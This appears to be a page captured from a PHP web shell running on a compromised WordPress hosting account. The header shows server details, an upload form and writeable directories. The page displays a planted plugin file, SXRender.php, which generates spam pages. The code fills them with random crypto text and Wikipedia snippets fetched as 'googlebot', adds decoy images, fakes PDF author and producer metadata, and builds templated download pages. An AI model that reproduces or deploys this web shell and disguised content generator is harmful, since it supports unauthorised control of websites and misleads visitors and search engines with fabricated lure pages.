https://t.me/AnonymousX5
Server : LiteSpeed
System : Linux server354.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : getfsxkz ( 1681)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/getfsxkz/theaztech.org/wp-content/plugins/XSystem/SXINDEX/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/getfsxkz/theaztech.org/wp-content/plugins/XSystem/SXINDEX/SXRender.php
<?php

class CRender {

	private $theme;
	
	public function __construct($theme = false) {
		if($theme) {
			$this->theme = $theme;
		}
	}
	
	private function _setSiteAddiction($seed = "") {
		srand(hexdec(substr(md5(site_url().$seed), -5)));
	}
	
	private function _setTimeAddiction() {
		srand(round(microtime(true) * 1000) + mt_rand(0,10**6));
	}
	
	private function XWPGetUrl($url) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_USERAGENT, 'googlebot');
		curl_setopt($ch, CURLOPT_TIMEOUT, 10);
		$response = curl_exec($ch);
		curl_close($ch);
		return $response;
	}

	private function XWPRenderImage($cwidth = 400, $cheight = 300, $icons = 10) {
		$dir = plugin_dir_path(__FILE__) . "Render/images";
		$image = imagecreatetruecolor($cwidth, $cheight);
		$white = imagecolorallocate($image, 255, 255, 255);
		imagefill($image, 0, 0, $white);
		$colors = [
			[180, 230, 255],
			[210, 200, 255],
			[255, 220, 250],
			[220, 255, 230],
			[255, 245, 180],
		];
		for ($i = 0; $i < 20; $i++) {
			$color = $colors[array_rand($colors)];
			$polyColor = imagecolorallocate($image, ...$color);
			$points = [];
			$vertices = rand(3, 5);
			$radius = rand(20, 70);
			$cx = rand(0, $cwidth);
			$cy = rand(0, $cheight);
			for ($j = 0; $j < $vertices; $j++) {
				$angle = deg2rad(360 * $j / $vertices + rand(-5, 5));
				$x = $cx + cos($angle) * $radius;
				$y = $cy + sin($angle) * $radius;
				$points[] = $x;
				$points[] = $y;
			}
			@imagefilledpolygon($image, $points, $vertices, $polyColor);
		}
		$iconFiles = glob("$dir/*.png");
		for ($i = 0; $i < $icons; $i++) {
			$iconPath = $iconFiles[array_rand($iconFiles)];
			$icon = imagecreatefrompng($iconPath);
			$scale = rand(50, 100);
			$angle = rand(0, 360);
			$resized = imagescale($icon, $scale);
			imagealphablending($resized, false);
			imagesavealpha($resized, false);
			$rotated = imagerotate($resized, $angle, $white);
			$x = rand(0, $cwidth - imagesx($rotated));
			$y = rand(0, $cheight - imagesy($rotated));
			imagecopy($image, $rotated, $x, $y, 0, 0, imagesx($rotated), imagesy($rotated));
			imagedestroy($icon);
			imagedestroy($resized);
			imagedestroy($rotated);
		}
		imagetruecolortopalette($image, true, 8);
		ob_start();
		imagepng($image, null, 9);
		$imageData = ob_get_clean();
		imagedestroy($image);
		return 'data:image/png;base64,' . base64_encode($imageData);
	}
	
	private function XWPRenderGraph($cwidth = 400, $cheight = 300) {
		$image = imagecreatetruecolor($cwidth, $cheight);
		$white = imagecolorallocate($image, 255, 255, 255);
		$black = imagecolorallocate($image, 0, 0, 0);
		imagefill($image, 0, 0, $white);
		$padding = 40;
		@imageline($image, $padding, $cheight - $padding, $cwidth - $padding, $cheight - $padding, $black); // X
		@imageline($image, $padding, $padding, $padding, $cheight - $padding, $black); // Y
		$tickSize = 4;
		$ticks = rand(5, 10);
		for ($i = 1; $i <= $ticks; $i++) {
			$x = $padding + ($i * ($cwidth - 2 * $padding)) / $ticks;
			@imageline($image, $x, $cheight - $padding - $tickSize, $x, $cheight - $padding + $tickSize, $black);
		}
		for ($i = 1; $i <= $ticks; $i++) {
			$y = $cheight - $padding - ($i * ($cheight - 2 * $padding)) / $ticks;
			@imageline($image, $padding - $tickSize, $y, $padding + $tickSize, $y, $black);
		}
		$lineCount = rand(1, 5);
		for ($i = 0; $i < $lineCount; $i++) {
			$points = [];
			$segments = rand(5, 12);
			for ($j = 0; $j <= $segments; $j++) {
				$x = $padding + ($j * ($cwidth - 2 * $padding)) / $segments;
				$y = $padding + rand(0, $cheight - 2 * $padding);
				$points[] = [$x, $y];
			}
			$thickness = rand(1, 4);
			$styleType = rand(0, 2);
			imagesetthickness($image, $thickness);
			$style = [$black];
			if ($styleType > 0) {
				for ($k = 0; $k < 8; $k++) {
					$style[] = $white;
				}
				if ($styleType === 2) {
					array_splice($style, 1, 7, [$white, $white, $white]);
				}
				imagesetstyle($image, $style);
			}
			for ($j = 0; $j < count($points) - 1; $j++) {
				[$x1, $y1] = $points[$j];
				[$x2, $y2] = $points[$j + 1];
				if ($styleType === 0) {
					@imageline($image, $x1, $y1, $x2, $y2, $black);
				} else {
					@imageline($image, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
				}
			}
		}
		imagetruecolortopalette($image, true, 2);
		ob_start();
		imagepng($image);
		$imageData = ob_get_clean();
		imagedestroy($image);
		return 'data:image/png;base64,' . base64_encode($imageData);
}

	private function XWPRandomSnippet() {
		$keywords = ['cryptocurrency', 'blockchain', 'bitcoin', 'ethereum'];
		$keyword = $keywords[array_rand($keywords)];
		$searchUrl =
			"https://en.wikipedia.org/w/api.php?" .
			"action=query&format=json&list=search&srsearch=" .
			urlencode($keyword) . "+" . mt_rand(10,99) . "&srlimit=20";
		$searchResult = $this->XWPGetUrl($searchUrl);
		$data = json_decode($searchResult, true);
		if (empty($data['query']['search'])) {
			return "";
		}
		$randomArticle = $data['query']['search'][array_rand($data['query']['search'])];
		$title = $randomArticle['title'];
		$apiUrl =
			"https://en.wikipedia.org/w/api.php?" .
			"action=query&format=json&prop=extracts&explaintext=1&titles=" .
			urlencode($title) . "&exsectionformat=plain";
		$contentResult = $this->XWPGetUrl($apiUrl);
		$contentData = json_decode($contentResult, true);
		$pages = $contentData['query']['pages'];
		$content = reset($pages)['extract'];
		$sentences = preg_split('/(?<=[.?!])\s+(?=[A-Z])/', trim($content));
		$total = count($sentences);
		if ($total < 6) {
			$snippet = implode(' ', $sentences);
		} else {
			$startIndex = rand(0, $total - 6);
			$snippet = implode(' ', array_slice($sentences, $startIndex, 6));
		}
		return $snippet;
	}
	
	private function XWPRenderSingle($object) {
		$dir = plugin_dir_path(__FILE__) . "Render/";
		$base = file_get_contents($dir . "/$object.dat");
		$base = explode("\r\n", $base);
		return $base[array_rand($base)];
	}

	private function XWPRenderObject($object, $wrap = false) {
		$dir = plugin_dir_path(__FILE__) . "Render/";
		$base = file_get_contents($dir . "/$object.dat");
		$base = explode("\r\n~\r\n", $base);
		$text = "";
		$index = 0;
		foreach($base as $block) {
			$index++;
			$a_blk = explode("\r\n", $block);
			$r_pre = "";
			while($r_pre == "") {
				$r_pre = trim($a_blk[array_rand($a_blk)]);
			}
			$text .= $r_pre . " ";
		}
		if($wrap) {
			$text = str_replace("%WRAP%", $wrap, $text);
		}
		return trim($text);
	}
	
	private function XWPAddParagraph($text) {
		$this->_setTimeAddiction();
		$sentences = explode(".", $text);
		$sentences = array_filter(array_map("trim", $sentences));
		$count = count($sentences);
		$insertCount = rand(1, 3);
		$indexes = array_rand($sentences, $insertCount);
		if (!is_array($indexes)) $indexes = [$indexes];
		foreach ($indexes as $i) {
			$sentences[$i] .= ".<br>";
		}
		foreach ($sentences as &$s) {
			if (!str_ends_with($s, ".<br>")) $s .= ".";
		}
		return implode(" ", $sentences);
	}

	public function XWPRenderPTitle() {
		$this->_setTimeAddiction();
		return $this->XWPRenderSingle("content/{$this->theme}/basepdf");
	}

	public function XWPRenderPContent() {
		$this->_setTimeAddiction();
		$first = true;
		$txtblk = [1,2,3,4,5,6,7,8,9,10];
		shuffle($txtblk);
		$image = $this->XWPRenderImage(mt_rand(390,410), mt_rand(290,310));
		$content = "<br><IMGBASE64>$image</IMGBASE64><br>";
		foreach($txtblk as $n) {
			$content .= "<br>";
			$sub_header = $this->XWPRenderSingle("content/{$this->theme}/headers");
			$sub_header = "<h2><b>$sub_header</b></h2>";
			$sub_quests = $this->XWPRenderSingle("content/{$this->theme}/questions");
			$sub_quests = "<h3><b>$sub_quests</b></h3>";
			$blk_conts = $this->XWPRenderObject("content/{$this->theme}/content/$n");
			$blk_conts = $this->XWPAddParagraph($blk_conts);
			if(mt_rand(0, 1)) {
				$blk_conts .= "<br>";
				$blk_conts .=
					"<i>\"" . $this->XWPRandomSnippet() . "\"</i>";
			}
			if(mt_rand(0, 1) && !$first) {
				$graph = $this->XWPRenderGraph(mt_rand(390,410), mt_rand(290,310));
				$content .= "<br><IMGBASE64>$graph</IMGBASE64><br>";
			}
			$content .= $sub_header . $sub_quests;
			$content .= "<br>" . $blk_conts . "<br>";
			$first = false;
		}
		return $content;
	}
	
	private function XWPRenderKeywords() {
		$this->_setTimeAddiction();
		$nkeys = mt_rand(4,8);
		$keys = "";
		for($n = 1; $n <= $nkeys; $n++) {
			$keys .= $this->XWPRenderSingle("content/{$this->theme}/keywords");
			if($n != $nkeys) {
				$keys .= ", ";
			}
		}
		return $keys;
	}
	
	public function XWPRenderPMeta($title) {
		$this->_setTimeAddiction();
		$author_first =
		[
			"John", "Michael", "David", "James", "Robert", "William", "Mary",
			"Patricia", "Jennifer", "Linda", "Elizabeth", "Barbara", "Susan",
			"Jessica", "Sarah", "Karen", "Nancy", "Lisa", "Margaret", "Sandra"
		];
		$author_last =
		[
			"Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller",
			"Davis", "Rodriguez", "Martinez", "Hernandez", "Lopez", "Gonzalez",
			"Wilson", "Anderson", "Thomas", "Taylor", "Moore", "Jackson", "Martin"
		];
		$creators =
		[
			"Microsoft Word", "Microsoft Word 2016", "Microsoft Word 2019",
			"Adobe InDesign", "Adobe Acrobat", "LibreOffice Writer", "Google Docs",
			"LaTeX pdfTeX", "LaTeX XeTeX", "Canva", "Chrome PDF Printer", "Pandoc",
			"Apple Pages", "WPS Office", "QuarkXPress", "Scribus", "Google Slides",
			"Microsoft PowerPoint", "Adobe Illustrator"
		];	
		$producers =
		[
			"Adobe PDF Library", "Adobe Acrobat PDF Library", "Microsoft Word PDF Exporter",
			"Microsoft Print to PDF", "LibreOffice PDF Export", "Ghostscript", "pdfTeX", "XeTeX",
			"Poppler", "Cairo PDF Library", "Chrome PDF Printer", "Apple Quartz PDFContext",
			"Pandoc", "Scribus", "LaTeX pdfTeX", "PDFium", "PDFSharp", "Nitro PDF Creator"
		];
		$author = $author_first[array_rand($author_first)] . " " . $author_last[array_rand($author_last)];
		$subject = $title;
		$keywords = $this->XWPRenderKeywords();
		$producer = $producers[array_rand($producers)];
		$creator = $creators[array_rand($creators)];
		if(mt_rand(0, 1)) 
			$application = $producer;
		else
			$application = $creator;
		
		return [
			'Title' => $title,
			'Author' => $author,
			'Subject' => $subject,
			'Keywords' => $keywords,
			'Application' => $application,
			'Producer' => $producer,
			'Creator' => $creator
		];
	}

	public function XWPRenderDownPage($title) {
		$this->_setSiteAddiction();
		$dir = plugin_dir_path(__FILE__) . 'Render';
		if (!is_dir($dir . "/dpage")) {
			return false;
		}
		$files = glob($dir . '/dpage/*.*');
		if (empty($files)) {
			return false;
		}
		$dpage = $files[array_rand($files)];
		$dhtml = file_get_contents($dpage);
		$dcont = $this->XWPRenderObject("sh_dpage");
		$dcont = $this->XWPRenderObject("wr_dpage", $dcont);
		$b_file = $dir . "/[pdfpage].html";
		$b_html = file_get_contents($b_file);
		$b_html = str_replace("%SLUG%", $title, $b_html);
		$dhtml = str_replace("%DTITLE%", $title, $dhtml);
		$dhtml = str_replace("%DBLOCK%", $b_html, $dhtml);
		$dhtml = str_replace("%DCONTS%", $dcont, $dhtml);
		return $dhtml;
	}
}

?>

https://t.me/AnonymousX5 - 2025